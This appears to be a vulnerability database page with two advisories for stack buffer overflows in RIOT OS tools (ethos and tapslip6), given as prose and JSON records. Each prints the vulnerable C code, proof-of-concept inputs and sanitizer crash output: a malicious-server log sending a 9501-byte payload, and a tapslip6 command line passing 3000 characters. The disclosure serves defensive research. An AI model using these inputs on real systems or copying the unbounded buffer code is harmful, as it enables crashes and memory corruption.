GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    2 vulnerabilities found for RIOT OS by unknown

    GCVE-1988-2026-0316

    Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
    VLAI
    Title
    RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
    Summary
    A stack-based buffer overflow vulnerability exists in the RIOT OS ethos utility due to missing bounds checking when processing incoming serial frame data. The vulnerability occurs in the _handle_char() function, where incoming frame bytes are appended to a fixed-size stack buffer (serial->frame) without verifying that the current write index (serial->framebytes) remains within bounds. An attacker capable of sending crafted serial or TCP-framed input can cause serial->framebytes to exceed the buffer size (MTU, 9000 bytes), resulting in a write past the end of the stack buffer. This condition leads to memory corruption, application crash, and potentially arbitrary code execution depending on compiler options and runtime protections. *Vulnerable Code:* static void _handle_char(serial_t *serial, char c) { serial->frame[serial->framebytes] = c; serial->framebytes++; } *Root Cause:* * serial->frame is a fixed-size stack buffer (char frame[MTU]) * serial->framebytes is unbounded and attacker-controlled * No validation against MTU before writing *Proof of Concept:* *listener:*# python3 payload.py This exploit acts as a MALICIOUS SERVER. Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000 The exploit will send the payload when ethos connects. [*] Starting malicious server on 0.0.0.0:20000 [*] Architecture: aarch64 [*] Exploitation mode: crash [+] Server listening on 0.0.0.0:20000 [!] Waiting for ethos to connect... [*] Run ethos like this: ./ethos tap0 tcp:127.0.0.1 20000 [+] ethos client connected from ('127.0.0.1', 37114) [*] Generating crash payload... [+] Crash payload ready: 9501 bytes [*] Waiting 1 second before sending payload... [*] Sending malicious payload (9501 bytes)... [*] Sent 1024/9501 bytes... [*] Sent 2048/9501 bytes... [*] Sent 3072/9501 bytes... [*] Sent 4096/9501 bytes... [*] Sent 5120/9501 bytes... [*] Sent 6144/9501 bytes... [*] Sent 7168/9501 bytes... [*] Sent 8192/9501 bytes... [*] Sent 9216/9501 bytes... [*] Sent 9501/9501 bytes... [+] Payload sent successfully! [!] ethos client should crash now (check for ASAN output) [*] Received response: b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~' [*] Connection from ('127.0.0.1', 37114) closed *Connection:* ./ethos tap0 tcp:127.0.0.1 20000 *Output:*----> ethos: sending hello. ----> ethos: activating serial pass through. ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5 ================================================================= ==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418 WRITE of size 1 at 0xfbff8f804848 thread T0 #0 0xaaaae0b9facc in _handle_char /root/RIOT/dist/tools/ethos/ethos.c:186:39 #1 0xaaaae0b9ed38 in _serial_handle_byte /root/RIOT/dist/tools/ethos/ethos.c:216:17 #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34 #3 0xffff91162598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec) (BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products
    Vendor Product Version
    unknown RIOT OS Affected: unknown
    Create a notification for this product.
    Credits
    Relationships
    analysis GCVE-1988-2026-0316 (this record)

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "RIOT OS",
              "vendor": "unknown",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Ron E"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial-\u003eframe[serial-\u003eframebytes] = c;\n    serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-09T13:42:56Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jan/16"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jan/16"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
          "x_gcve": [
            {
              "recordType": "analysis",
              "relationships": [
                {
                  "destId": "CVE-2021-27427",
                  "type": "possibly_related"
                }
              ],
              "vulnId": "GCVE-1988-2026-0316",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
                "automated": true,
                "contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-01-10T05:26:58Z"
              }
            },
            {
              "recordType": "advisory",
              "vulnId": "gcve-1988-2026-0316"
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-09T13:42:56Z",
        "dateUpdated": "2026-09-09T13:42:56Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0316"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    GCVE-1988-2026-0317

    Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
    VLAI
    Title
    RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
    Summary
    A stack-based buffer overflow vulnerability exists in the tapslip6 utility distributed with RIOT OS (and derived from the legacy uIP/Contiki networking tools). The vulnerability is caused by unsafe string concatenation in the devopen() function, which constructs a device path using unbounded user-controlled input. Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed prefix "/dev/" with a user-supplied device name provided via the -s command-line option. No bounds checking is performed, allowing an attacker to supply an excessively long device name and overflow a fixed-size stack buffer. This issue can lead to process crashes and memory corruption. While exploitation requires local access, the affected utility is commonly executed with elevated privileges during development, testing, or deployment of RIOT OS networking environments, increasing impact. *Root Cause:*int devopen(const char *dev, int flags) { char t[1024]; strcpy(t, "/dev/"); strcat(t, dev); return open(t, flags); } *Impact:* - Stack-based buffer overflow - Process termination (Denial of Service) - Memory corruption *Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF' print("A"*3000) EOF ) 10.0.0.1 255.255.255.0 *Output:*================================================================= ==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0 WRITE of size 3001 at 0xfbffa6001140 thread T0 #0 0xaaaab3e609a0 in strcat (/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) #1 0xaaaab3ec04f0 in devopen /root/RIOT/dist/tools/tunslip/tapslip6.c:420:5 #2 0xaaaab3ec04f0 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:629:18 #3 0xffffa7a42598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaaab3dd73ec in _start (/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in frame #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543 SUMMARY: AddressSanitizer: stack-buffer-overflow (/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products
    Vendor Product Version
    unknown RIOT OS Affected: unknown
    Create a notification for this product.
    Credits
    Relationships
    analysis GCVE-1988-2026-0317 (this record)

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "RIOT OS",
              "vendor": "unknown",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Ron E"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n    char t[1024];\n    strcpy(t, \"/dev/\");\n    strcat(t, dev);\n    return open(t, flags);\n}\n\n*Impact:*\n\n   - Stack-based buffer overflow\n   - Process termination (Denial of Service)\n   - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n    #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n    #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n    #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n    #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n    #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-09T13:42:56Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jan/15"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jan/15"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction",
          "x_gcve": [
            {
              "recordType": "analysis",
              "relationships": [
                {
                  "destId": "CVE-2021-27427",
                  "type": "possibly_related"
                }
              ],
              "vulnId": "GCVE-1988-2026-0317",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15",
                "automated": true,
                "contentSha256": "8c077fa2184f92c4a9ea9ea71d6967479a85d54ed3995a81392242f5423afcc0",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/15",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-01-08T15:42:45Z"
              }
            },
            {
              "recordType": "advisory",
              "vulnId": "gcve-1988-2026-0317"
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-09T13:42:56Z",
        "dateUpdated": "2026-09-09T13:42:56Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0317"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }